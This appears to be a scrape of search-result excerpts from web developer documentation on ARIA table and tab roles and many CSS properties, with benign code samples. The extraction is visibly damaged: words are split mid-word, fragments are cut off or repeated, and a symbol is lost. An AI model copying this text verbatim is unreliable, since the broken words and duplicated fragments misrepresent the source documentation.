...osition, or index, of each row. for example, if a table has 1,500 rows, but only the header and rows 47 and 52 are in the dom, aria-rowindex="1" would be set on the header row, and aria-rowindex="47" and aria-rowindex="52" would be set on the 47th and 52nd row, respectively. if all the rows are present in the dom, this attribute is not necessary. keyboard interactions none required javascr
ipt features none. for sortable columns, see the columnheader aria role. the first rule of aria use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. employ the html <table> element instead of the aria role of table whenever possible. ex...
ARIA: tab role - Accessibility
the common user experience pattern is a group of visual tabs above, or to the side of, a content area, and selecting a different tab changes the content and makes the selected tab more prominent than the other tabs. ...
...optionally activates the next tab in the tab list. if the current tab is the last tab in the tab list it activates the first tab. <- focuses and optionally activates the previous tab in the tab list. if the current tab is the first tab in the tab list it activates the last tab. delete when allowed removes the currently selected tab from the tab list. required javascr
ipt features while there are ways to build tab-like functionality without javascr
ipt, there are no substitute combination of html and css only that will provide the same set of functionality that's required above for accessible tabs with content. example this example combines the role tab with tablist and elements with tabpanel to create an interactive group of tabbed content. here we are encl...
...r tablist having an aria-label to label it for assistive technology. each tab is a button with the attributes previously mentioned. the first tab has tabindex=0 on it, which we will later change to whatever tab has aria-selected=true. all of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden attribute, which we will change with javascr
ipt. there is some basic styling applied that restyles the buttons and changes the z-index to of tab elements to give the illusion of it connecting to the tabpanel for active elements, and the illusion that inactive elements are behind the active tabpanel. <div class="tabs"> <div role="tablist" aria-label="sample tabs"> <button role="tab" aria-selected="true" aria-controls="panel-1" id="tab-1...
... to accomplish the first, we listen for the keydown event on the tablist. if the event's keycode is 39 for right arrow or 37 for the left arrow, we react to the event. we start by setting the tabindex of the current tab element to -1...
ARIA: table role - Accessibility
the cells are not focusable or selectable, though widgets within individual cells of the table can be interactive. using a native html table element whenever possible is strongly encouraged. if a table maintains a selection state, has two-dimensional navigation, or allows the user to rearrange cell order...
...r cell element (not the table itself). if any rows or columns are hidden, the aria-colcount or aria-rowcount should be included indicating the total number of columns or rows, respectively, along with the aria-colindex or aria-rowindex on each cell. the aria-colindex or aria-rowindex is set to the position of a cell within the row or column, respectively. if the table includes cells that span mult
iple rows or mult
iple columns, then aria-rowspan or aria-colspan should be included as well. realize, it is much simpler to simply use the <table> element, along with all the related semantic elements and attributes that are all supported by all assistive technologies. to create an interactive widget that has a tabular structure, use the grid pattern instead. if the interaction provides for the sel...
...a roles, states, and properties role="rowgroup" an optional child of the table, the row group encapsulates a group of rows, similar to thead, tbody, and tfoot. role="row" a row within the table, and optionally within a rowgroup, that is a container for one or more cells, columnheaders, or rowheaders. aria-describedby attribute takes as its value the id of the element that serves as a descr
iption for the table. aria-label attribute the aria-label provides an accessible name for the table. aria-colcount attribute this attribute is only required if the columns are not present in the dom all the time. it provides an explicit indication of the number of columns in the full table. set the value to the total number of columns in the full table. if unknown, set aria-colcount="-1". a...
...ount attribute this attribute is only required if the rows are not present in the dom all the time, such as scrollable tables that reuse rows to minimize the number of dom nodes. it provides an explicit indication of the number of rows in the full table. set the value to the total number of rows in the full table. if unknown, set aria-colcount="-1". keyboard interactions none required javascr
ipt features none. for sortable columns, see the columnheader aria role. the first rule of aria use is if you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. employ the html <table> element instead of the aria role of table whenever possible. ...
negative - CSS: Cascading Style Sheets
when defining custom counter styles, the negative descr
iptor lets you alter the representations of negative counter values, by providing a way to specify symbols to be appended or prepended to the counter representation when the value is negative. syntax /* <symbol> values */ negative: "-"; /* prepends '-' if value is negative */ negative: "(" ")"; /* surrounds value by '(' and ')' if it is negative */ values first <symbol> this symbol will be prepended to the representation when the counter is negative. second <symbol> if present, this symbol will be appended to the representation when the counter is negative. ...
...ve. syntax /* <symbol> values */ negative: "-"; /* prepends '-' if value is negative */ negative: "(" ")"; /* surrounds value by '(' and ')' if it is negative */ values first <symbol> this symbol will be prepended to the representation when the counter is negative. second <symbol> if present, this symbol will be appended to the representation when the counter is negative. descr
iption if the counter value is negative, the symbol provided as value for the descr
iptor is prepended to the counter representation; and a second symbol if specified, will be appended to the representation. the negative descr
iptor has effect only if the system value is symbolic, alphabetic, numeric, additive, or extends, if the extended counter style itself uses a negative sign. if the negative des...
...on if the counter value is negative, the symbol provided as value for the descr
iptor is prepended to the counter representation; and a second symbol if specified, will be appended to the representation. the negative descr
iptor has effect only if the system value is symbolic, alphabetic, numeric, additive, or extends, if the extended counter style itself uses a negative sign. if the negative descr
iptor is specified for other systems that don't support negative counter values, then the descr
iptor is ignored. formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gr...
... <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )<side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
font-style - CSS: Cascading Style Sheets
syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 30deg; font-style: oblique 30deg 50deg; values normal selects the normal version of the font-family. italic specifies that font-face is an italicized version of the normal font. ...
... syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 30deg; font-style: oblique 30deg 50deg; values normal selects the normal version of the font-family. italic specifies that font-face is an italicized version of the normal font. ...
... syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 30deg; font-style: oblique 30deg 50deg; values normal selects the normal version of the font-family. italic specifies that font-face is an italicized version of the normal font. ...
...the garamond font family, in its normal form, we get the following result: @font-face { font-family: garamond; src: url('garamond.ttf'); } the italicized version of this text uses the same glyphs present in the unstyled version, but they are artificially sloped by a few degrees. on the other hand, if a true italicized version of the font family exists, we can include it in the src descr
iptor and specify the font style as italic, so that it is clear that the font is italicized. true italics use different glyphs and are a bit different from their upright counterparts, having some unique features and generally have a rounded and calligraphic quality. these fonts are specially created by font designers and are not artificially sloped. @font-face { font-family: garamond; src: url(...
@keyframes - CSS: Cascading Style Sheets
from { transform: translatex(0%); } to { transform: translatex(100%); } } values <custom-ident> a name identifying the keyframe list. this must match the identifier production in css syntax. from a starting offset of 0%. to an ending offset of 100%. <percentage> a percentage of the time through the animation sequence at which the specified keyframe should occur. descr
iption javascr
ipt can access the @keyframes at-rule with the css object model interface csskeyframesrule. to use keyframes, create a @keyframes rule with a name that is then used by the animation-name property to match an animation to its keyframe declaration. each @keyframes rule contains a style list of keyframe selectors, which specify percentages along the animation when the keyframe occurs, a...
... if a keyframe rule doesn't specify the start or end states of the animation (that is, 0%/from and 100%/to), browsers will use the element's existing styles for the start/end states. this can be used to animate an element from its initial state and back. properties that can't be animated in keyframe rules are ignored, but supported properties will still be animated. ...
... when properties are left out of some keyframes properties that aren't specified in every keyframe are interpolated if possible -- properties that can't be interpolated are dropped from the animation. ...
...if possible -- properties that can't be interpolated are dropped from the animation. for example: @keyframes identifier { 0% { top: 0; left: 0; } 30% { top: 50px; } 68%, 72% { left: 50px; } 100% { top: 100px; left: 100%; } } here, the top property animates using the 0%, 30%, and 100% keyframes, and left animates using the 0%, 68%, 72% and 100% keyframes. when a keyframe is defined mult
iple times if a keyframe is defined mult
iple times but not all affected properties are in each keyframe, all values specified in these keyframes are considered. for example: @keyframes identifier { 0% { top: 0; } 50% { top: 30px; left: 20px; } 50% { top: 10px; } 100% { top: 0; } } in this example, at the 50% keyframe, the values used are top: 10px and left: 20px. cascading keyframes ar...
width - CSS: Cascading Style Sheets
<length> a non-negative absolute or relative length. ...
... <length> a non-negative absolute or relative length. ...
...he max-width to the value provided. if two viewport values are provided the first value will be set to the min-width and the second value will be set max-width. syntax /* an example with one viewport value: */ @viewport { width: 320px; } /* an example with two viewport values: */ @viewport { width: 320px, 120px; } values auto the used value is calculated from the other css descr
iptors' values. <length> a non-negative absolute or relative length. <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. must be non-negative. formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-width: automax-width: nonepercentagesas each...
... working draft initial definition ...
@viewport - CSS: Cascading Style Sheets
e operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications). @viewport { width: 100vw; /*sets the width of the actual viewport to the device width*/ } note: the use of <meta name="viewport"> tag overrides @viewport syntax the at-rule contains a set of nested descr
iptors in a css block that is delimited by curly braces. a zoom factor of 1.0 or 100% corresponds to no zooming. larger values zoom in. smaller values zoom out. descr
iptors browser support for @viewport is weak at this time, with support being largely available in internet explorer and edge. even in those browsers, only a small number of descr
iptors are available. browsers will ignore @viewport i...
...ces. a zoom factor of 1.0 or 100% corresponds to no zooming. larger values zoom in. smaller values zoom out. descr
iptors browser support for @viewport is weak at this time, with support being largely available in internet explorer and edge. even in those browsers, only a small number of descr
iptors are available. browsers will ignore @viewport if they don't support it, and will ignore any descr
iptors that they don't recognize. min-width used in the determination of the width of the viewport when the document is first displayed. max-width used in the determination of the width of the viewport when the document is first displayed. width a shorthand descr
iptor for setting both min-width and max-width. min-height used in the determination of the height of the viewport when the docum...
... zoom sets the initial zoom factor. min-zoom sets the minimum zoom factor. max-zoom sets the maximum zoom factor. user-zoom controls whether or not the user should be able to change the zoom factor. ...
... css device adaptationthe definition of '@viewport' in that specification. working draft initial definition ...
CSS Multi-column Layout - CSS: Cascading Style Sheets
layout, as well as how content should flow from column to column, gap sizes between columns, and column dividing lines (known as column rules) along with their appearance. basic example in the following example the column-count property has been applied to the element with a class of container. as the value of column-count is 3, the content is arranged into 3 columns of equal size. ...
...ntent should flow from column to column, gap sizes between columns, and column dividing lines (known as column rules) along with their appearance. basic example in the following example the column-count property has been applied to the element with a class of container. as the value of column-count is 3, the content is arranged into 3 columns of equal size. ...
...ged into 3 columns of equal size. relationsh
ip to fragmentation mult
iple-column layout is closely related to paged media, in that each column box becomes a fragment, much like a printed page becomes a fragment of an overall document. therefore the properties now defined in the css fragmentation specification are required in order to control how content breaks between columns. ...
... spanning and balancing how to make elements span across all columns and controlling the way columns are filled. ...
Introduction to formatting contexts - CSS: Cascading Style Sheets
matting context has specific rules about how layout behaves when in that context. block formatting contexts the outermost element in a document that uses block layout rules establishes the first, or initial block formatting context. this means that every element inside the <html> element's block is laid out according to normal flow following the rules for block and inline layout. elements partic
ipating in a bfc use the rules outlined by the css box model, which defines how an element's margins, borders, and padding interact with other blocks in the same context. creating a new block formatting context the <html> element is not the only element capable of creating a block formatting context. any block-level element can be made to create a bfc by the application of certain css properties. ...
...verflow: auto created a new bfc containing the float. our <div> now becomes a mini-layout inside our layout. any child element will be contained inside it. the problem with using overflow to create a new bfc is that the overflow property is meant for telling the browser how you wish to deal with overflowing content. there are some occasions in which you will find you get unwanted scrollbars or cl
ipped shadows when you use this property purely to create a bfc. in addition, it is potentially not very readable for a future developer, as it may not be obvious why you used overflow for this purpose. if you do this, it would be a good idea to comment the code to explain. explicitly creating a bfc using display: flow-root using display: flow-root (or display: flow-root list-item) on the containi...
...u used overflow for this purpose. if you do this, it would be a good idea to comment the code to explain. explicitly creating a bfc using display: flow-root using display: flow-root (or display: flow-root list-item) on the containing block will create a new bfc without any other potentially problematic side-effects. with display: flow-root on the <div>, everything inside that container partic
ipates in the block formatting context of that container, and floats will not poke out of the bottom of the element. the name of the flow-root keyword refers to the fact that you're creating something that serves, in essence, like a new root element (like <html> does), given how the new context is created and its flow layout functions. inline formatting contexts inline formatting contexts exist i...
..., given how the new context is created and its flow layout functions. inline formatting contexts inline formatting contexts exist inside other formatting contexts and can be thought of as the context of a paragraph. the paragraph creates an inline formatting context inside which such things as <strong>, <a>, or <span> elements are used on text. the box model does not fully apply to items partic
ipating in an inline formatting context. in a horizontal writing mode line, horizontal padding, borders and margin will be applied to the element and push the text away left and right. however, margins above and below the element will not be applied. vertical padding and borders will be applied but may overlap content above and below as, in the inline formatting context, the line boxes will not be p...
CSS values and units - CSS: Cascading Style Sheets
1px = 1/96th of 1in when including a length value, if the length is 0, the unit identifier is not required. otherwise, the unit identifier is required, is case insensitive, and must come immediately after the numeric part of the value, with no space in-between. angle units angle values are represented by the type <angle> and accept the following values: unit name descr
iption deg degrees there are 360 degrees in a full circle. grad gradians there are 400 gradians in a full circle. rad radians there are 2? radians in a full circle. turn turns there is 1 turn in a full circle. time units time values are represented by the type <time>. when including a time value, the unit identifier -- the s or ...
... grad gradians there are 400 gradians in a full circle. rad radians there are 2? radians in a full circle. turn turns there is 1 turn in a full circle. time units time values are represented by the type <time>. when including a time value, the unit identifier -- the s or ms -- is required. it accepts the following values. unit name descr
iption s seconds ms milliseconds there are 1,000 milliseconds in a second. frequency units frequency values are represented by the type <frequency>. it accepts the following values. unit name descr
iption hz hertz represents the number of occurrences per second. khz kilohertz a kilohertz is 1000 hertz. ...
...ohertz is 1000 hertz. 1hz, which can also be written as 1hz or 1hz, is one cycle per second. resolution unit resolution units are represented by the type <resolution>. they represent the size of a single dot in a graphical representation, such as a screen, by indicating how many of these dots fit in a css inch, centimeter, or pixel. it accepts the following values: unit descr
iption dpi dots per inch. dpcm dots per centimetre. dppx, x dots per px unit. percentages a <percentage> is a type that represents a fraction of some other value. percentage values are always relative to another quantity, for example a length. each property that allows percentages also defines the quantity to which the percentage refers. this quantity...
...s specification. functional notation calc() min() max() clamp() toggle() attr() functional notation is a type of value that can represent more complex types or invoke special processing by css. the syntax starts with the name of the function immediately followed by a left parenthesis ( followed by the argument(s) to the notation followed by a right parenthesis ). functions can take mult
iple arguments, which are formatted similarly to a css property value. white space is allowed, but optional inside the parentheses. (but see notes regarding whitespace within pages for min(), max() and clamp() functions.) some legacy functional notations such as rgba() use commas, but generally commas are only used to separate items in a list. if a comma is used to separate arguments, white space ...
Cookbook template - CSS: Cascading Style Sheets
the last parameter is the live example height, which you can change as needed. ...
...the last parameter is the live example height, which you can change as needed. ...
...the last parameter is the live example height, which you can change as needed. ...
...xample choices made explain your decisions when creating the pattern. why did you choose a certain method? if you want to add an additional example here -- for example a version with fallbacks, please do. this section is deliberately loose as patterns range from the very simple to more complex. useful fallbacks or alternative methods if there are useful alternative methods for building the rec
ipe, or fallback rec
ipes to use if you have to support non-supporting browsers, include them in separate sections down here. accessibility concerns include this is there are any specific things to watch out for in regard to accessibility. if not relevant for your pattern this can be omitted. ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
ox-align -moz-box-direction -moz-box-flex -moz-box-ordinal-group -moz-box-orient -moz-box-pack c-i -moz-context-properties -moz-float-edge -moz-force-broken-image-icon -moz-image-region o -moz-orient -moz-osx-font-smoothing -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright overflow-cl
ip-box overflow-cl
ip-box-block overflow-cl
ip-box-inline s-z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-start-backward) :-moz-system-metric(scrollbar-start-forward) :-moz-system-metric(scrollbar-thumb-proport...
... [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-backface-visibility [prefixed version still accepted] -moz-background-cl
ipobsolete since gecko 2 -moz-background-originobsolete since gecko 2 -moz-background-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-border-en...
...-start [superseded by the standard version border-inline-start] -moz-border-start-color [superseded by the standard version border-inline-start-color] -moz-border-start-style [superseded by the standard version border-inline-start-style] -moz-border-start-width [superseded by the standard version border-inline-start-width] -moz-box-sizing [prefixed version still accepted] c cl
ip-path [applying to more than svg] -moz-column-count [prefixed version still accepted] -moz-column-fill [prefixed version still accepted] -moz-column-gap [prefixed version still accepted] -moz-column-width [prefixed version still accepted] -moz-column-rule [prefixed version still accepted] -moz-column-rule-width [prefixed version still accepted] -moz-column-rule-style [prefix...
... border-...
border-image-width - CSS: Cascading Style Sheets
dths apply to the top, right, bottom, and left in that order (clockwise). values <length-percentage> the width of the border, specified as a <length> or a <percentage>. percentages are relative to the width of the border image area for horizontal offsets and the height of the border image area for vertical offsets. must not be negative. <number> the width of the border, specified as a mult
iple of the corresponding border-width. must not be negative. auto the width of the border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding border-image-slice. if the image does not have the required intrinsic dimension, the corresponding border-width is used instead. formal definition initial value1applies toall elements, except internal table eleme...
...ive lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels. ...
...lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels. ...
...lowing ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels. html <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. ...
box-lines - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard. see flexbox for information about the current standard. the box-lines css property determines whether the box may have a single or mult
iple lines (rows for horizontally oriented boxes, columns for vertically oriented boxes). /* keyword values */ box-lines: single; box-lines: mult
iple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column. this behavior can be changed using the box-lines property. the default value is single, which means that all elements will be placed in a single row or column, and any ...
...-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column. this behavior can be changed using the box-lines property. the default value is single, which means that all elements will be placed in a single row or column, and any elements that don't fit will simply be considered overflow. if a value of mult
iple is specified, however, then the box is allowed to expand to mult
iple lines (that is, mult
iple rows or columns) in order to accommodate all of its children. the box must attempt to fit its children on as few lines as possible by shrinking all elements down to their minimum widths or heights if necessary. if the children in a horizontal box still do not fit on a line after being reduced to their...
...mputes flexes independently, so only elements on that line are considered when evaluating box-flex and box-flex-groups. the packing of elements in a line, as specified by the box-pack property, is also computed independently for each line. syntax the box-lines property is specified as one of the keyword values listed below. values single box elements lay out in a single row or column. mult
iple box elements layout in mult
iple rows or columns. formal definition initial valuesingleapplies tobox elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax single | mult
iple examples simple usage example in the original version of the spec, box-lines allowed you to specify that you wanted your flex container's children to wrap onto mult
iple lines. this was onl...
...ritednocomputed valueas specifiedanimation typediscrete formal syntax single | mult
iple examples simple usage example in the original version of the spec, box-lines allowed you to specify that you wanted your flex container's children to wrap onto mult
iple lines. this was only supported in webkit-based browsers, with a prefix. div { display: box; box-orient: horizontal; box-lines: mult
iple; } the modern flexbox equivalent is flex-wrap. specifications not part of any standard. ...
font-variant-position - CSS: Cascading Style Sheets
the glyphs are positioned relative to the baseline of the font, which remains unchanged. these glyphs are typically used in <sub> and <sup> elements. ...
...ing a fallback method, synthesizing these glyphs. these alternate glyphs share the same em-box and the same baseline as the rest of the font. they are merely graphically enhanced, and have no effect on the line-height and other box characteristics. syntax the font-variant-position property is specified as one of the keyword values listed below. values normal deactivates alternate superscr
ipt and subscr
ipt glyphs. sub activates subscr
ipt alternate glyphs. if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs. super activates superscr
ipt alternate glyphs. if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs. formal ...
...r
ipt alternate glyphs. if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs. formal definition initial valuenormalapplies toall elements. ...
... glyphs. if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs. formal definition initial valuenormalapplies toall elements. ...
image-rendering - CSS: Cascading Style Sheets
ritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | crisp-edges | pixelated examples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to provide some fallback for each other. ...
...xamples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to provide some fallback for each other. (just prepend the actual rules with the fallback.) the canvas api can provide a fallback solution for pixelated through manual image data man
ipulation or with imagesmoothingenabled. ...
...mbined to provide some fallback for each other. (just prepend the actual rules with the fallback.) the canvas api can provide a fallback solution for pixelated through manual image data man
ipulation or with imagesmoothingenabled. ...
...api can provide a fallback solution for pixelated through manual image data man
ipulation or with imagesmoothingenabled. ...
image() - CSS: Cascading Style Sheets
sources, with optional image fragment identifiers. coloroptional a color, specifying a solid background color to use as a fallback if no image-src is found, supported, or declared. bi-directional awareness the first, optional parameter of the image() notation is the directionality of the image. if included, and the image is used on an element with opposite directionality, the image will be fl
ipped horizontally in horizontal writing modes. if the directionality is omitted, the image won't be fl
ipped if the language direction is changed. image fragments one key difference between url() and image() is the ability to add a media fragment identifier -- a starting point along the x and y axis, along with a width and height -- onto the image source to display only a section of the source ima...
...nd-color, which is placed under or behind all the background images, this can be used to put (generally semi-transparent) colors over other images. the size of the color swatch can be set with the background-size property. this is different from the background-color, which sets a color to cover the entire element. both image(color) and background-color placements are impacted by the background-cl
ip and background-origin properties. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to ...
...g a background-color on every background image, the css image() function allows adding allows only including background colors should an image fail to load, which means you can add a fall back color should a transparent png/gif/webp not load. examples directionally-sensitive images <ul> <li dir="ltr">bullet is a right facing arrow on the left</li> <li dir="rtl">bullet is the same arrow, fl
ipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } in the left-to-right list items -- those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page -- the image will be used as-is. list items with dir="rtl" set on the <li> or inheriting the right-to-left di...
...the left-to-right list items -- those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page -- the image will be used as-is. list items with dir="rtl" set on the <li> or inheriting the right-to-left directionality from an ancestor, such as documents set to arabic or hebrew, will have the bullet display on the right, horizontally fl
ippled, as if transform: scalex(-1) had been set. the text will also be displayed left-to-right. displaying a section of the background image <div class="box">hover over me. what cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } when the user hovers over the box, the cursor will change to display the 16x16 px secti...
mask-repeat - CSS: Cascading Style Sheets
ong the horizontal axis, the vertical axis, both axes, or not repeated at all. /* one-value syntax */ mask-repeat: repeat-x; mask-repeat: repeat-y; mask-repeat: repeat; mask-repeat: space; mask-repeat: round; mask-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ mask-repeat: repeat space; mask-repeat: repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* mult
iple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are cl
ipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space). syntax one or more <repeat-style> values, separ...
...d no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition behavior and the second value represents the vertical behavior. here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole mask painting area. ...
...represents the horizontal repetition behavior and the second value represents the vertical behavior. here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole mask painting area. the last image will be cl
ipped if it doesn't fit. space the image is repeated as much as possible without cl
ipping. the first and last images are pinned to either side of the element, and whitespace is distributed evenly between the images. the mask-position property is ignored unless only one image can be displayed without cl
ipping. the only case where cl
ipping happens using space is when there isn't enough room to display one image. round as the allowed space increases in size, the repea...
...d in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select> javascr
ipt content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result mult
iple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-...
overflow-inline - CSS: Cascading Style Sheets
the writing mode of the document. syntax /* keyword values */ overflow-inline: visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen from the list of values below. values visible content is not cl
ipped and may be rendered outside the padding box's inline start and end edges. hidden content is cl
ipped if necessary to fit the inline dimension in the padding box. no scrollbars are provided. scroll content is cl
ipped if necessary to fit in the padding box in the inline dimension. browsers display scrollbars whether or not any content is actually cl
ipped. (this prevents scrollbars from appear...
...overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. ...
...ks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. ...
...atting context. desktop browsers provide scrollbars if content overflows. ...
position - CSS: Cascading Style Sheets
e position of any other elements. this value always creates a new stacking context. note that a sticky element "sticks" to its nearest ancestor that has a "scrolling mechanism" (created when overflow is hidden, scroll, auto, or overlay), even if that ancestor isn't the nearest actually scrolling ancestor. this effectively inhibits any "sticky" behavior (see the github issue on w3c csswg). descr
iption types of positioning a positioned element is an element whose computed position value is either relative, absolute, fixed, or sticky. (in other words, it's anything except static.) a relatively positioned element is an element whose computed position value is relative. the top and bottom properties specify the vertical offset from its normal position; the left and right properties specif...
...r margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
... that ancestor to take the place of the elements containing block. this can be used to create a "floating" element that stays in the same position regardless of scrolling. in the example below, box "one" is fixed at 80 pixels from the top of the page and 10 pixels from the left. even after scrolling, it remains in the same place relative to the viewport. html <div class="outer"> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nam congue tortor eget pulvinar lobortis. vestibulum ante
ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; nam ac dolor augue. pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. nam vitae iaculis elit. aliquam mollis interdum libero. sed sodales placerat egestas. vestibulum ut arcu aliquam purus ...
...l sit amet mi. duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. sed velit augue, pretium a sem aliquam, congue porttitor tortor. sed tempor nisl a lorem consequat, id maximus erat aliquet. sed sagittis porta libero sed condimentum. aliquam finibus lectus nec ante congue rutrum. curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus. </p> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nam congue tortor eget pulvinar lobortis. vestibulum ante
ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; nam ac dolor augue. pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. nam vitae iaculis elit. aliquam mollis interdum libero. sed sodales placerat egestas. vestibulum ut arcu aliquam purus ...
text-decoration-line - CSS: Cascading Style Sheets
the text-decoration-line css property sets the kind of decoration that is used on text in an element, such as an underline or overline. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...github.com/mdn/interactive-examples and send us a pull request. when setting mult
iple line-decoration properties at once, it may be more convenient to use the text-decoration shorthand property instead. ...
...t-decoration shorthand property instead. syntax /* single keyword */ text-decoration-line: none; text-decoration-line: underline; text-decoration-line: overline; text-decoration-line: line-through; text-decoration-line: blink; /* mult
iple keywords */ text-decoration-line: underline overline; /* two decoration lines */ text-decoration-line: overline underline line-through; /* mult
iple decoration lines */ /* global values */ text-decoration-line: inherit; text-decoration-line: initial; text-decoration-line: unset; the text-decoration-line property is specified as none, or one or more space-separated values from the list below. values none produces no text decoration. underline each line of text has a decorative line beneath it. overline each line of text has a dec...
... ...
text-justify - CSS: Cascading Style Sheets
ke japanese. distribute exhibits the same behaviour as inter-character; this value is kept for backwards compatibility. formal definition initial valueautoapplies toinline-level and table-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | inter-character | inter-word | none examples <p class="none"><code>text-justify: none</code> --<br>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, feugiat leo. cras eu elementum dui.</p> <p class="auto"><code>text-justify: auto</code> --<br>lorem
